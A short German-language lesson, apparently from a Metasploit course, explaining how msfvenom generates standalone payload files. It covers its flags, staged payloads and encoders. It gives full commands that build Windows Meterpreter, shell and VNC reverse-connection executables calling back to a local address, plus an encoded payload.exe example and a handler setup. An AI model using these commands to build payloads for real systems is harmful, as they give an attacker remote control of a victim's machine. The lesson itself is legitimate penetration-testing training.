Payloads erzeugen mit msfvenom

LektionMetasploitca. 2 Min. Lesezeit

Mit msfvenom erzeugt man eigenstaendige Payload-Dateien ausserhalb eines Exploits. Wichtige Schalter:

  • -p – der Payload (z. B. windows/meterpreter/reverse_tcp).
  • -f – das Ausgabeformat, z. B. exe, elf, raw oder python.
  • -b – Bad-Characters, die im erzeugten Payload nicht vorkommen duerfen (z. B. -b "x00" fuer das Nullbyte).
  • -e – ein Encoder, z. B. x86/shikata_ga_nai, mit -i fuer die Anzahl der Durchlaeufe (Iterationen).
  • Payload-Optionen wie LHOST und LPORT direkt als Schluessel=Wert.

Beispiele

msfvenom -f exe LHOST=192.168.1.1 -p windows/meterpreter/reverse_tcp
msfvenom -f exe LHOST=192.168.1.1 -p windows/shell/reverse_tcp
msfvenom -f exe LHOST=192.168.1.1 -p windows/vncinject/reverse_tcp

Diese drei Aufrufe erzeugen funktional gleichwertige EXE-Dateien, weil bei staged Payloads jeweils nur der Stager erstellt wird – die Endstufe (Meterpreter, einfache Shell oder VNC-Einblendung) wird erst spaeter nachgeladen.

Durch eingebaute Zufaelligkeit gleicht keine erzeugte Datei exakt einer anderen – die Dateien sind nur funktional identisch, nicht Byte-fuer-Byte.

Encoder

Ein Encoder wie shikata_ga_nai codiert den Payload um. Sein primaerer Zweck ist, Bad-Characters zu vermeiden und bei jedem Lauf eine etwas andere Byte-Darstellung zu erzeugen – nicht die zuverlaessige Umgehung moderner Virenschutzloesungen, die heute deutlich weiterentwickelte Erkennung nutzen.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 
  -e x86/shikata_ga_nai -i 5 -b "x00" -f exe -o payload.exe

LHOST richtig setzen

Der Wert LHOST bestimmt, wohin der Payload zurueckverbindet. Er muss zur eigenen (ggf. VPN-)Adresse passen – sonst kann die Rueckverbindung nicht aufgebaut werden. Fuer die Gegenstelle startet man einen passenden Handler, z. B. mit exploit/multi/handler.

Alles zu „Metasploit“